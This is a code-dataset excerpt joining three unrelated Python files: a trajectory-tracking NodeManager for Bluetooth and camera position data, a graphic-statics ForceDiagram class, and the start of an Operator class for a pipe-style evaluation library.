= plt.figure()\n plot = fig.add_subplot(111)\n User._display_rec(db, plot, self.root, _color=_color, max_nb=max_nb_choices)\n plot.set_title(\"User {} trajectories\".format(self.u_id))\n if _plot is None: # pragma: no cover\n fig.gca().set_aspect('equal', adjustable='box')\n fig.show()\n\n\nclass NodeManager:\n \"\"\" The main class that implements the trajectory search algorithm.\n It collects the data from the database class (:class:`Records <point.records.Records>`).\n It distributes the computation on StepFinder nodes.\n INVARIANT: For all u_ids in leaves, there is the key (value can be {}) in current_nodes.\n\n :param int t0: The start date timestamp.\n :param int tf: The end date timestamp.\n :param int dt: The time discretisation step.\n :param logic: The datalog Logic used for this Node Manager.\n :type logic: :class:`Logic <managers.step_finder.Logic>`\n :param db: The database / data structure.\n :type db: A :class:`Database <point.database.Database>`\n :ivar users: The mapping of u_id to the User data.\n :vartype users: :obj:`dict` of (:obj:`int`, :class:`User <User>`)\n :ivar leaves: The mapping of u_id to the hashmap of r_ids to Nodes where user could be at t - dt (the previous step)\n :vartype leaves: :obj:`dict` of (:obj:`int`, :obj:`dict` of (:obj:`int`, :class:`Node <managers.node.Node>`)\n :ivar current_nodes: The mapping of u_id to the hashmap of r_ids to Nodes where user could be at the current time t.\n :vartype current_nodes: :obj:`dict` of (:obj:`int`, :obj:`dict` of (:obj:`int`, :class:`Node <managers.node.Node>`)\n :ivar current_bluetooths: The set of the u_ids of the users we have the precise position at the current time t.\n :vartype current_bluetooths: :obj:`set` of :obj:`int`\n :ivar animations: The hashmap of the u_ids of the users and dictionary of timestamp -> list of points gone through.\n :vartype animations: :obj:`dict` of (:obj:`int` u_id, :obj:`dict` of (:obj:`int` t, :obj:`list` of :obj:`int`))\n :ivar layers: The mapping of u_id to the dict of each time step to the possible r_ids\n :vartype layers: :obj:`dict` of (:obj:`int`, :obj:`dict` of (:obj:`list` of :obj:`int`))\n :ivar one_pos: The mapping of u_id to the list of r_id when the user has a single position for the time step\n :vartype one_pos: :obj:`dict` of (:obj:`int`, :obj:`list` of :obj:`int`)\n :ivar collisions: The mapping of r_id -> list of u_ids that are possibly simultaneously on it\n :vartype collisions: :obj:`dict` of (:obj:`int`, :obj:`list` of :obj:`int`)\n :ivar alone: The list of (r_id, u_id) when r_id is used by only one user (u_id)\n :vartype alone: :obj:`list` of (:obj:`int`, :obj:`int`)\n :rtype: A :class:`NodeManager <NodeManager>`\n \"\"\"\n # :ivar cache:\n # A cache to store the results for any specific point. Dict: r_id -> list of r_ids for possible neighbors\n # :vartype cache: :obj:`dict` of (:obj:`int`, :obj:`list` of :obj:`int`)\n def __init__(self, t0, tf, dt, logic=None, db=None):\n # Records(t0, tf, dt) will fail if dt, t0 and tf don't work together\n self.db = db if db is not None else Records(t0, tf, dt)\n self.t0 = t0\n self.tf = tf\n self.dt = dt\n self.logic = logic\n self.cache = {}\n # CORE STRUCTURES\n self.users = {} # the dict u_id -> User\n self.leaves = {} # the dict of u_id -> dict of r_id -> leaf Node (of the previous turn)\n self.current_nodes = {} # the dict of u_id -> dict of r_id -> current Node\n self.current_bluetooths = set() # the set of the u_ids of the users we know where they are for this turn\n # INFORMATION STRUCTURES\n self.layers = {} # the dict of u_id -> dict of time_step -> list of r_ids of this time_step for the user\n self.one_pos = {} # the dict of u_id -> list of r_ids when the user has only one pos for the related time step\n self.collisions = {} # the dict of r_id -> list of u_id of users possibly using that point\n self.alone = [] # the list of (r_id, u_id) when r_id is used by only one user (u_id)\n # Animation\n self.animations = {}\n\n @classmethod\n def from_db(cls, db, logic=None): # pragma: no cover\n \"\"\" Just a simple wrapper for a call to the NodeManager constructor \"\"\"\n return cls(db.t0, db.tf, db.dt, logic=logic, db=db)\n\n def _reset(self):\n \"\"\" Resets the structure we build during a run of the algorithm \"\"\"\n self.cache = {} # Reset the cache (it's a new step so there is no need to keep the old computations)\n # CORE STRUCTURES\n self.users = {} # the dict u_id -> User\n self.leaves = {} # the dict of u_id -> dict of r_id -> leaf Node (of the previous turn)\n self.current_nodes = {} # the dict of u_id -> dict of r_id -> current Node\n self.current_bluetooths = set() # the set of the u_ids of the users we know where they are for this turn\n # INFORMATION STRUCTURES\n self.layers = {} # the dict of u_id -> dict of time_step -> list of r_ids of this time_step for the user\n self.one_pos = {} # the dict of u_id -> list of r_ids when the user has only one pos for the related time step\n self.collisions = {} # the dict of r_id -> list of u_id of users possibly using that point\n self.alone = [] # the list of (r_id, u_id) when r_id is used by only one user (u_id)\n self.animations = {}\n\n def add_records(self, filename):\n \"\"\" Adds the data from a file of records.\n\n :param str filename: The path to the file to add.\"\"\"\n self.db.read_input_file(filename)\n\n @classmethod\n def from_file(cls, filename):\n \"\"\" A second constructor to build a NodeManager from a data file. This doesn't set the Logic nor the Database.\n\n :param str filename: The path to the file to read.\n :rtype: A :class:`NodeManager <NodeManager>`\"\"\"\n with open(filename, 'r') as file:\n file.readline() # N useless here\n t0, tf, dt = map(int, file.readline().split())\n # we build the structure\n node_manager = cls(t0, tf, dt)\n # we add the data\n node_manager.add_records(filename)\n return node_manager\n\n def add_new_link(self, u_id, node_start, point_dest):\n \"\"\"\n Adds a new link between r_id_start and r_id_dest for user u_id. Creates what is necessary.\n Updates current_nodes correctly.\n\n :param int u_id: The user id\n :param node_start: The Node around the point at t - dt (previous step)\n :type node_start: A :class:`Node <managers.node.Node>`\n :param point_dest: The destination point at t (current step)\n :type point_dest: A :class:`Point <structure.point.Point>`\n :return: The Node around the destination point\n :rtype: A :class:`Node <managers.node.Node>`\n \"\"\"\n if u_id not in self.current_nodes:\n # because if we fast forward, it's not in current_nodes\n self.current_nodes[u_id] = {}\n node_dest = self.current_nodes[u_id].get(point_dest.r_id, None)\n if node_dest is not None:\n # Nodes already exists around that point\n node_start.add_child(node_dest)\n else:\n # Create a Node around that point\n node_dest = node_start.add_point_as_child(point_dest)\n self.current_nodes[u_id][point_dest.r_id] = node_dest\n return node_dest\n\n # THIS PART IS PROCESSING BLUETOOTH POINTS #########################################################################\n def track_new_user(self, point_bluetooth):\n \"\"\" Adds a new user to our Manager (u_id isn't in the users dict yet).\n\n :param point_bluetooth: The start point (a bluetooth one) of the new user.\n :type point_bluetooth: :class:`Point <structure.point.Point>` \"\"\"\n assert point_bluetooth.type == Point.BLUETOOTH\n u_id = point_bluetooth.get_u_id()\n user = User(point_bluetooth)\n # We now know this user\n self.users[u_id] = user\n # and we have its current position\n self.current_nodes[u_id] = { # only this point (the user is new)\n user.root.r_id: user.root\n }\n # We initiate the parallel INFORMATION STRUCTURES\n self.layers[u_id] = []\n self.one_pos[u_id] = []\n\n def stop_tracking_user(self, u_id):\n # We destroy the CORE STRUCTURES (they are useless for this user now)\n # we have to test because we weren't always currently following the point\n if u_id in self.current_nodes:\n del self.current_nodes[u_id]\n assert u_id not in self.leaves, \"We exit on bluetooth point => process_bluetooth_point has removed from leaves\"\n if u_id in self.current_bluetooths:\n self.current_bluetooths.remove(u_id)\n # We do not destroy the INFORMATION STRUCTURES\n\n def fast_forward_from(self, last_sure_node, new_bluetooth_point):\n \"\"\" Updates a trajectory of a user (that was stucked at his last bluetooth point) by fast-forwarding from\n the given sure point.\n\n :param last_sure_node: The last sure node on this trajectory.\n :type last_sure_node: A :class:`Node <managers.node.Node>`\n :param new_bluetooth_point: The new known point (a bluetooth one) of the user.\n :type new_bluetooth_point: :class:`Point <structure.point.Point>`\n :return: The node created around the new_bluetooth_point we are fast-forwarding to.\n :rtype: :class:`Node <managers.node.Node>`\n \"\"\"\n # old_TODO: Extend a path by adding nodes in the middle to have a point for each dt\n # It's done in list_paths or get_a_path with fill=True\n assert new_bluetooth_point.type == Point.BLUETOOTH\n u_id = new_bluetooth_point.get_u_id()\n # Update the path (a single link between 2 sure points)\n new_node = self.add_new_link(u_id, last_sure_node, new_bluetooth_point)\n # creates the node and adds it to current_nodes\n return new_node\n\n def fast_forward_user_to(self, new_bluetooth_point):\n \"\"\" Updates a trajectory of a user (that was stucked at his last bluetooth point) by fast-forwarding from its\n last sure point.\n\n :param new_bluetooth_point: The new known point (a bluetooth one) of the user.\n :type new_bluetooth_point: :class:`Point <structure.point.Point>`\n :return: The node created around the new_bluetooth_point we are fast-forwarding to.\n :rtype: :class:`Node <managers.node.Node>`\n \"\"\"\n u_id = new_bluetooth_point.get_u_id()\n last_sure_node = self.users[u_id].root.get_a_leaf()\n return self.fast_forward_from(last_sure_node, new_bluetooth_point)\n\n def extend_user_paths(self, point_bluetooth):\n \"\"\" Update the user paths we are currently building based on the bluetooth point provided.\n It simply tries to make the next step if possible or recursively backtracks if not.\n If not possible for any old point, fast-forward !\n\n :param point_bluetooth: A bluetooth point.\n :type point_bluetooth: :class:`Point <structure.point.Point>`\n :return: The node created around the new_bluetooth_point we are fast-forwarding to.\n :rtype: :class:`Node <managers.node.Node>`\n \"\"\"\n u_id = point_bluetooth.get_u_id()\n # this function is called when we are still tracking a user\n assert u_id in self.leaves\n # we update all the paths with this information\n new_node = None # not created yet\n for node in self.leaves[u_id].copy().values():\n # copy() required to update leaves in the meantime if a path fails\n if self.logic.are_too_far(self.db.get_record(node.r_id), point_bluetooth):\n # 1. The path can't move to the sure bluetooth point at the next step\n node.remove_from_fathers() # backtrack this path\n else:\n # 2. We can add our bluetooth point to the end of the path !\n new_node = self.add_new_link(u_id, node, point_bluetooth) # updates current_nodes\n # and creates only once\n # In all cases:\n # del self.leaves[u_id][node.r_id]\n # If too far: we actually can't have used this point\n # If close enough: we can't go anywhere else from this point => no need to look for camera point\n # Instead of deleting one by one, directly delete the user from leaves !\n del self.leaves[u_id]\n # However, if we have backtracked all possible paths => fast forward !!\n if new_node is None: # no path could go to it to create it\n # fast forward user to it\n new_node = self.fast_forward_user_to(point_bluetooth)\n return new_node\n\n def process_bluetooth_point(self, point_bluetooth):\n \"\"\" Creates or updates (backtracks or jumps) a user based on sure information (a bluetooth point).\n\n :param point_bluetooth: A bluetooth point.\n :type point_bluetooth: :class:`Point <structure.point.Point>` \"\"\"\n assert point_bluetooth.type == Point.BLUETOOTH\n u_id = point_bluetooth.get_u_id()\n if u_id not in self.users:\n # The first information we collect about the user\n self.track_new_user(point_bluetooth)\n # no need to update current_bluetooth because they will be no research launch for this user (first entrance)\n else:\n # We already know this user\n # We now know where this user should be at the next step\n self.current_bluetooths.add(u_id)\n if u_id not in self.leaves:\n # not currently tracking this user even though we already know him => fast-forward\n self.fast_forward_user_to(point_bluetooth)\n else:\n # We are currently tracking this user => Try to extend the paths with the bluetooth points\n # (eventually backtrack bad paths and fast-forwards if backtracks all of the paths)\n self.extend_user_paths(point_bluetooth)\n # We update the bluetooth points (process_bluetooth_point is only called once per user)\n # But in the case of a new user, it already has the bluetooth point thanks to User.__init__()\n self.users[u_id].bluetooths.append(point_bluetooth)\n # In both cases, we are now tracking this user.\n # Remove the user when they are on the bluetooth point of the exit\n if point_bluetooth.is_exit():\n self.stop_tracking_user(u_id)\n\n def run(self, _animation=True):\n \"\"\" Implements the algorithm logic.\n\n :param bool _animation: Should we collect data as we go on to display animation afterwards.\"\"\"\n # since we manipulate timestamps (ie ms) they are all integers\n for t in tqdm(range(self.t0, self.tf + self.dt, self.dt), desc=\"Time steps\"):\n # Cleans the cache\n self.cache = {}\n # 1. We use the bluetooth points\n for point in self.db.get_bluetooths_at(t):\n self.process_bluetooth_point(point)\n # 2. We use the camera points to extend the trajectories\n for u_id, nodes in self.leaves.items():\n # print(u_id, len(nodes)) # to see there isn't an exponential growth\n if u_id in self.current_bluetooths: # pragma: no cover\n # current_bluetooth is not really used anymore since we process all bluetooths point before\n # and they don't infer with camera points anymore\n continue\n # The section below was used to gather information on the user when multiple trajectories were\n # arriving on the same bluetooth point at some time.\n # # we know precisely where the user should be for this step => just collect more data\n # for _, path in enumerate(paths):\n # # Rq: path has exactly one child (from extend_user_paths()): the sure bluetooth position\n # assert len(path.children) == 1\n # # we try to update the child data (the node already is in self.current_nodes)\n # information = StepFinder(self.logic, self.db, path.r_id).collect_data()\n # self.db.get_record(path.r_id).md.update(information)\n else:\n # Try all possible paths\n for r_id, node in nodes.items():\n # we extend the possible path with all the available data\n if r_id in self.cache:\n # We already computed it\n new_nodes_rids = self.cache[r_id]\n else:\n # We compute it for the first time\n sf = StepFinder(self.logic, self.db, r_id)\n new_nodes_rids = sf.run()\n # We store it for later use\n self.cache[r_id] = new_nodes_rids.copy()\n if len(new_nodes_rids) == 0:\n # no future node => backtrack our paths leading to this leaf node\n node.remove_from_fathers()\n else:\n # we add all the nodes to be tracked during the next step\n for r_id_dest in new_nodes_rids:\n point_dest = self.db.get_record(r_id_dest)\n self.add_new_link(u_id, node, point_dest) # adds only once to current_nodes\n\n if _animation:\n # We store the data of each step for each user: all the current_nodes !\n # This is independant of everything to have no impact on perfs => verify everything here\n for u_id in set(self.current_nodes.keys()).union(\n set(list(map(lambda pt: pt.get_u_id(), self.db.get_bluetooths_at(t))))\n ):\n # we need the union because we stopped recording the bluetooth point that exited the shop\n if u_id not in self.animations:\n self.animations[u_id] = {}\n self.animations[u_id][t] = self.users[u_id].root.list_nodes()\n\n # We move to the next step\n self.current_bluetooths = set()\n self.leaves = self.current_nodes\n self.current_nodes = {}\n # we maintain the INVARIANT\n for u_id in self.leaves:\n self.current_nodes[u_id] = {}\n\n # self.display()\n\n def build_update_structures(self):\n \"\"\"\n | Goes through all the users' DAG to build the updates structures.\n | layers = for each user, for each time_step, the list of possible r_ids\n | collisions = for each r_id, the list of possible u_ids\n \"\"\"\n # Clean INFORMATION STRUCTURES\n self.layers = {} # the dict of u_id -> dict of time_step -> list of r_ids of this time_step for the user\n self.one_pos = {} # the dict of u_id -> list of r_ids when the user has only one pos for the related time step\n self.collisions = {} # the dict of r_id -> list of u_id of users possibly using that point\n self.alone = [] # the list of (r_id, u_id) when r_id is used by only one user (u_id)\n\n # Initialisation of structures\n for u_id in self.users.keys():\n self.layers[u_id] = {}\n self.one_pos[u_id] = []\n for t in range(self.t0, self.tf + self.dt, self.dt):\n self.layers[u_id][t] = []\n self.alone = []\n for r_id in self.db.get_all_r_ids():\n self.collisions[r_id] = []\n\n for user in tqdm(self.users.values(), desc=\"Building update structures\"):\n u_id = user.u_id # collects info\n nodes_to_do = [user.root] # invariant: each node goes only once through it\n r_ids_done = set() # to maintain invariant on nodes_to_do (cf line above)\n while len(nodes_to_do) > 0:\n node = nodes_to_do.pop()\n # collects info\n r_id = node.r_id\n t = self.db.get_record(r_id).t # point itself is useless here TODO: could be useful for area precision\n\n # Update INFORMATION STRUCTURES\n self.layers[u_id][t].append(r_id)\n self.collisions[r_id].append(u_id)\n\n # Collects next information\n r_ids_done.add(r_id)\n for child in node.children:\n if child.r_id not in r_ids_done:\n nodes_to_do.append(child)\n\n # we go to the next time step\n t += self.dt # WARNING: uses the fact that each user has at least 1 point/time step: never FAST FORWARD\n\n # Update the final structures (one_pos and alone)\n for u_id in tqdm(self.layers, desc=\"Building nm.one_pos\"):\n for t in self.layers[u_id]:\n r_ids = self.layers[u_id][t]\n if len(r_ids) == 1:\n self.one_pos[u_id].append(r_ids[0])\n for r_id in tqdm(self.collisions, desc=\"Building nm.alone\"):\n u_ids = self.collisions[r_id]\n if len(u_ids) == 1:\n self.alone.append((r_id, u_ids[0]))\n\n def update(self, update_alone=True):\n \"\"\" Updates the points.\n\n :param bool update_alone: Should we update points that are used by only one user to sure for this user?\n :return: nb_alone_points_updated, nb_one_pos_points_updated\n :rtype: (int, int)\n \"\"\"\n # 0. Build the updates structures\n self.build_update_structures()\n nb_alone_points_updated = 0\n if update_alone:\n # 1. Update alone points (used by only one user)\n user_alone = {} # dict of u_id -> t -> list of r_ids\n # WARNING: we have to maje sure that if a user is the only one using one point for several different points,\n # he won't be put as sure for all of them !\n for r_id, u_id in self.alone: # for each time step\n if u_id not in user_alone:\n user_alone[u_id] = {}\n t = self.db.get_record(r_id).t\n if t not in user_alone[u_id]:\n user_alone[u_id][t] = []\n user_alone[u_id][t].append(r_id)\n # set it to sure\n for u_id, user_alone_by_t in user_alone.items():\n for r_ids in user_alone_by_t.values():\n if len(r_ids) == 1:\n # if several points are used only by this user, we do nothing and wait for only one to remain\n # TODO: we could make sure the closest one or the most relevant...\n if self.db.add_temp_sure(r_ids[0], u_id):\n nb_alone_points_updated += 1\n # 2. Update one pos points (a user has only this possible position)\n nb_one_pos_points_updated = 0\n # WARNING: if several users have to go through one point (no other choice at a precise timestep), we affect it\n # to the first user who needs it\n r_ids_already_used = set()\n # TODO: make something more relevant (like increase back the speed !)\n for u_id, r_ids in self.one_pos.items():\n for r_id in r_ids:\n if r_id not in r_ids_already_used:\n r_ids_already_used.add(r_id)\n if self.db.add_temp_sure(r_id, u_id):\n nb_one_pos_points_updated += 1\n return nb_alone_points_updated, nb_one_pos_points_updated\n\n def rerun(self, speed_incr=1.1, _animation=True):\n \"\"\"\n Updates the points before running a new step.\n\n :param float speed_incr: the factor used to increment the speed after each step\n :param bool _animation: Should we collect data as we go on to display animation afterwards.\n :return: The number of updated points (alone and one pos) and the times taken (as a dictionary)\n \"\"\"\n loop_start = time.time()\n # IT'S DONE FIRST SO IT'S NOT THE CASE ANYMORE\n # WARNING: The updates of the points but not the traces can create inconsistencies\n # ex: a point used by user1 and user2 might be sure for user1 => set as sure\n # BUT it is still used in some of user2's trajectories (as sure !! but it's not)\n\n # UPDATES\n nb_alone_points_updated, nb_one_pos_points_updated = self.update()\n update_over = time.time()\n\n self._reset()\n self.run(_animation=_animation)\n # Time management\n times = {\n \"algo\": time.time() - update_over,\n \"update\": update_over - loop_start\n }\n self.logic.v_max *= speed_incr\n return nb_alone_points_updated, nb_one_pos_points_updated, times\n\n def recurse(self, max_iter=5, speed_incr=1.1, _animation=True):\n \"\"\"\n | Calls run() recursively and updates the sure points between each calls.\n | It will stop when it doesn't find any new path or after max_iter iterations.\n | Output format: A dictionary with 2 keys:\n | * 'loops' -> ('algo' or 'update') -> time\n | * 'total' -> time\n\n :param int max_iter: The maximum number of iteration of the recursion process.\n :param float speed_incr: The factor f by which the speed changes after each loop (v' = f * v).\n :param bool _animation: Should we collect data as we go on to display animation afterwards.\n :return: Returns the elapsed times for the 'loops' ('algo' and 'update') and for the 'total' recursion.\n :rtype: A dictionary with the times for each loop (algo and update) and the total time\n \"\"\"\n # Time management\n start = time.time()\n elapsed = {\n \"loops\": [],\n \"total\": 0\n }\n\n total_nb = 0\n for i in range(max_iter):\n nb_alone_points_updated, nb_one_pos_points_updated, loop_times = self.rerun(\n speed_incr=speed_incr,\n _animation=_animation,\n )\n elapsed[\"loops\"].append(loop_times)\n total_nb += nb_alone_points_updated + nb_one_pos_points_updated\n tqdm.write(\n \"Recursion {} updated {} alone and {} one pos points (for a total of {}) with a speed of {}.\".format(\n i, nb_alone_points_updated, nb_one_pos_points_updated, total_nb,\n self.logic.v_max / speed_incr # since we have done * speed_incr at the end of rerun()\n )\n )\n elapsed[\"total\"] = time.time() - start\n return elapsed\n\n def display(self, _plot=None, max_nb_choices=None, db=None):\n \"\"\" A display function.\n\n :param _plot: Can be use to use the display on an existing plot.\n :param int max_nb_choices: The max nb of choices to take each time there are many choices\n :param db: Where to get the points data (if not set, the DB of the NodeManager)\n :type db: :class:`Database <point.database.Database>`\n \"\"\"\n if db is None:\n db = self.db\n fig, plot = None, _plot\n if _plot is None: # pragma: no cover\n fig = plt.figure()\n plot = fig.add_subplot(111)\n for user in self.users.values():\n # color = plt.cm.tab20c(16 + (user.u_id % 2)) # 2 different grey colors\n color = \"black\" # to be visual\n user.display(db, _plot=plot, max_nb_choices=max_nb_choices, _color=color)\n plot.set_title(\"NodeManager results for all users\")\n if _plot is None: # pragma: no cover\n fig.show()\n\n def animate(self, interval=0, save_prefix=\"\"):\n \"\"\" An animation function to display the trajectory search for each user.\n Each frame of the animation corresponds to a step of the search.\n\n :param int interval: The delay in ms between each frame of the animation.\n If not set, it will use the Database.dt by default.\n :param str save_prefix: The prefix of the name of the saved gif. Won't save if not set.\n \"\"\"\n # By default, we take the time_step\n if interval == 0:\n interval = self.db.dt\n\n # Animate one user after the other\n for u_id in self.animations:\n data = list(self.animations[u_id].items())\n data.sort(key=lambda x: x[0])\n\n # list of (time, list of r_ids) by increasing time values\n fig = plt.figure()\n fig.suptitle(\"Display trajectory exploration for user #{}\".format(u_id), fontsize=14)\n ax = plt.axes(xlim=(-0.2, 2.2), ylim=(-0.2, 2.2))\n line, = ax.plot([], [], 'o', animated=True)\n time_text = ax.text(0.02, 0.95, '', transform=ax.transAxes)\n\n # initialization function: plot the background of each frame\n def init():\n line.set_data([], [])\n time_text.set_text('')\n return line, time_text\n\n # animation function. This is called sequentially (i start at 0 and increases by 1)\n def animate(i):\n x = []\n y = []\n time, r_ids = data[i]\n time_text.set_text('time = {:.2f}ms'.format(time))\n for r_id in r_ids:\n point = self.db.get_record(r_id)\n x.append(point.x)\n y.append(point.y)\n line.set_data(x, y)\n return line, time_text\n\n anim = animation.FuncAnimation(fig, animate, init_func=init, frames=len(data), interval=interval,\n blit=True, repeat=False)\n\n if save_prefix != '':\n # save the animation as an mp4. This requires ffmpeg or mencoder to be\n # installed. The extra_args ensure that the x264 codec is used, so that\n # the video can be embedded in html5. You may need to adjust this for\n # your system: for more information, see\n # http://matplotlib.sourceforge.net/api/animation_api.html\n # anim.save('name.mp4', fps=1, extra_args=['-vcodec', 'libx264'])\n # WASN'T WORKING\n\n # Requires the installation of imagemagick with\n # on Mac: brew install imagemagick\n anim.save(\n 'data/results/animations/{}_{}_{}.gif'.format(\n save_prefix,\n datetime.datetime.now().strftime(\"%Y-%m-%d_%Hh%M.%S\"),\n u_id\n ),\n writer='imagemagick',\n fps=(1000 // interval)\n )\n\n plt.show()\n\n @classmethod\n def get_user_actual_timestamps(cls, layer):\n \"\"\"\n :param layer: The dict of each time step to the possible r_ids (nm.layers for a u_id)\n :type layer: :obj:`dict` of (:obj:`list` of :obj:`int`)\n :return: The list of timestamps for which the user has at least one possible value\n :rtype: :obj:`list` of :obj:`int`\n \"\"\"\n return [timestamp for timestamp, pos in layer.items() if len(pos) > 0]\n\n @classmethod\n def get_user_offset(cls, layer):\n \"\"\"\n :param layer: The dict of each time step to the possible r_ids (nm.layers for a u_id)\n :type layer: :obj:`dict` of (:obj:`list` of :obj:`int`)\n :return: The user offset (time of his first position compared to the experiment start)\n \"\"\"\n return min(cls.get_user_actual_timestamps(layer)) - min(layer.keys())\n","sub_path":"managers/node_manager.py","file_name":"node_manager.py","file_ext":"py","file_size_in_byte":36095,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"591140969","text":"from __future__ import print_function\nfrom __future__ import absolute_import\nfrom __future__ import division\n\n# from compas.datastructures import network_find_faces\n# from compas.datastructures import network_dual\nfrom compas.datastructures import mesh_dual\n\nfrom compas_ags.diagrams import Diagram\n\n\n__author__ = ['Tom Van Mele', 'Vedad Alic']\n__email__ = ['<vanmelet@ethz.ch>', '<vedad.alic@construction.lth.se>']\n\n\n__all__ = ['ForceDiagram']\n\n\nclass ForceDiagram(Diagram):\n \"\"\"\"\"\"\n\n def __init__(self):\n super(ForceDiagram, self).__init__()\n self.attributes.update({\n 'name': 'ForceDiagram',\n 'color.vertex': (255, 255, 255),\n 'color.edge': (200, 200, 200),\n 'color.face': (0, 255, 255),\n })\n self.update_default_vertex_attributes({\n 'is_fixed': False,\n 'is_anchor': False,\n 'is_param': False,\n })\n self.update_default_edge_attributes({\n 'l': 0.0,\n 'lmin': 1e-7,\n 'lmax': 1e+7,\n })\n\n # --------------------------------------------------------------------------\n # Constructors\n # --------------------------------------------------------------------------\n\n @classmethod\n def from_formdiagram(cls, formdiagram):\n return mesh_dual(formdiagram, cls)\n\n # --------------------------------------------------------------------------\n # Convenience functions for retrieving attributes of the force diagram.\n # --------------------------------------------------------------------------\n\n def xy(self):\n return [self.vertex_coordinates(key, 'xy') for key in self.vertices()]\n\n def fixed(self):\n return [key for key, attr in self.vertices(True) if attr['is_fixed']]\n\n def anchor(self):\n for key, attr in self.vertices(True):\n if attr['is_anchor']:\n return key\n return key\n\n def set_fixed(self, keys):\n for key, attr in self.vertices(True):\n attr['is_fixed'] = key in keys\n\n def set_anchor(self, keys):\n \"\"\"Set the anchored vertex in the force diagram\n\n Parameters\n ----------\n keys : list[int]\n Contains the index of the vertex to anchor.\n \"\"\"\n for key, attr in self.vertices(True):\n attr['is_anchor'] = key in keys\n\n # --------------------------------------------------------------------------\n # Helpers\n # --------------------------------------------------------------------------\n\n def uv_index(self, form=None):\n if not form:\n return {(u, v): index for index, (u, v) in enumerate(self.edges())}\n uv_index = dict()\n for index, (u, v) in enumerate(form.edges()):\n f1 = form.halfedge[u][v]\n f2 = form.halfedge[v][u]\n uv_index[(f1, f2)] = index\n return uv_index\n\n def ordered_edges(self, form, index=True):\n key_index = self.key_index()\n uv_index = self.uv_index(form=form)\n index_uv = dict((i, uv) for uv, i in uv_index.items())\n edges = [index_uv[i] for i in range(self.number_of_edges())]\n if not index:\n return edges\n return [[key_index[u], key_index[v]] for u, v in edges]\n\n def external_edges(self, form):\n \"\"\"Returns the edges incident to leaf vertices\n\n Parameters\n ----------\n form : compas_ags.diagrams.formdiagram.FormDiagram\n The form diagram to update.\n\n Returns\n ----------\n e_e : list[int]\n The edges incident to leaf vertices\n \"\"\"\n leaves = set(form.leaves())\n e_e = []\n for i, (u, v) in enumerate(form.edges()):\n if u in leaves or v in leaves:\n e_e.append(i)\n return e_e\n\n def external_vertices(self, form):\n \"\"\"Returns indices of the vertices on the external face of the force diagram\n\n Parameters\n ----------\n form : compas_ags.diagrams.formdiagram.FormDiagram\n The form diagram to update.\n\n Returns\n ----------\n e_v : list[int]\n Indices of the vertices on the external face of the force diagram\n \"\"\"\n external_edges = self.external_edges(form)\n e_v = []\n for i, (u, v) in enumerate(self.ordered_edges(form)):\n if i in external_edges:\n e_v.append(u)\n e_v.append(v)\n return list(set(e_v))\n\n def compute_constraints(self, form, M):\n r\"\"\"Computes the form diagram constraints used\n in compas_bi_ags.bi_ags.graphstatics.form_update_from_force_direct\n\n Parameters\n ----------\n form : compas_ags.diagrams.formdiagram.FormDiagram\n The form diagram to update.\n M\n The matrix described in compas_bi_ags.bi_ags.graphstatics.form_update_from_force_direct\n \"\"\"\n nr_col_jac = M.shape[1]\n constraint_rows = np.zeros((0, M.shape[1]))\n residual = np.zeros((0, 1))\n vcount = form.number_of_vertices()\n\n # Currently this computes two constraints per fixed vertex in the form diagram.\n for i, (key, attr) in enumerate(form.vertices(True)):\n if not attr['is_fixed']:\n continue\n\n # Handle x\n constraint_jac_row = np.zeros(\n (1, nr_col_jac)) # Added row for jacobian\n # Lock horizontal position\n constraint_jac_row[0, i] = 1\n constraint_rows = np.vstack((constraint_rows, constraint_jac_row))\n residual = np.vstack((residual, attr['x']))\n\n # Handle y\n constraint_jac_row = np.zeros(\n (1, nr_col_jac)) # Added row for jacobian\n # Lock horizontal position\n constraint_jac_row[0, i+vcount] = 1\n constraint_rows = np.vstack((constraint_rows, constraint_jac_row))\n residual = np.vstack((residual, attr['y']))\n return constraint_rows, residual\n\n # --------------------------------------------------------------------------\n # AGS functions\n # --------------------------------------------------------------------------\n\n def update(self, formdiagram):\n from compas_ags.algorithms.graphstatics import update_forcediagram\n update_forcediagram(self, formdiagram)\n\n\n# ==============================================================================\n# Debugging\n# ==============================================================================\n\nif __name__ == '__main__':\n\n pass\n","sub_path":"src/compas_ags/diagrams/forcediagram.py","file_name":"forcediagram.py","file_ext":"py","file_size_in_byte":6568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"291138762","text":"\"\"\"Provide the Operator class\"\"\"\nfrom enum import Enum\nfrom functools import wraps\nimport operator\nfrom typing import Any, Callable, Mapping, Optional, Tuple, Type\n\nfrom .function import Function\nfrom .context import ContextAnnoType, ContextBase\n\nclass Operator(Function):\n \"\"\"Operator class, defining how the operators in verb/function arguments\n should be evaluated\n\n Args:\n op: The operator\n context: Should be None while initialization. It depends on the\n verb or the function that uses it as an argument\n args: The arguments of the operator\n kwargs: The keyword arguments of the operator\n datarg: Should be False. No data argument for the operator function.\n\n Attributes:\n REGISTERED: The registered Operator class. It's this class by default\n Use `register_operator` as a decorator to register a operator class\n \"\"\"\n REGISTERED = None\n\n def __init__(self,\n op: str,\n args: Tuple[Any],\n kwargs: Mapping[str, Any],\n datarg: bool = False) -> None:\n\n self.op = op\n self.data = None\n # if the function is defined directly, use it.\n # otherwise, get one from `__getattr__`\n op_func = getattr(self, self.op, None)\n if not op_func and self.op[0] == 'r':\n left_op = (\n self.op[1:] if self.op not in ('rand', 'ror')\n else f'{self.op[1:]}_'\n )\n op_func = getattr(self, left_op, None)\n if not op_func:\n raise ValueError(\n f'No operator function defined for {self.op!r}'\n )\n @wraps(op_func)\n def left_op_func(arg_a, arg_b, *args, **kwargs):\n return op_func(arg_b, arg_a, *args, **kwargs)\n\n super().__init__(left_op_func, args, kwargs, datarg)\n elif op_func:\n super().__init__(op_func, args, kwargs, datarg)\n else:\n raise ValueError(f'No operator function defined for {self.op!r}')\n\n @staticmethod\n def set_context(\n context: ContextAnnoType,\n extra_contexts: Optional[Mapping[str, ContextAnnoType]] = None\n ) -> Callable[[Callable], Callable]:\n \"\"\"Set custom context for a operator method\"\"\"\n\n def wrapper(func):\n func.context = (\n context.value if isinstance(context, Enum) else context\n )\n extra_contexts2 = extra_contexts or {}\n func.extra_contexts = {\n key: ctx.value if isinstance(ctx, Enum) else ctx\n for key, ctx in extra_contexts2.items()\n }\n return func\n\n return wrapper\n\n def _pipda_eval(\n self,\n data: Any,\n context: Optional[ContextBase] = None,\n level: int = 0\n ) -> Any:\n \"\"\"Evaluate the operator\n\n No data passed to the operator function. It 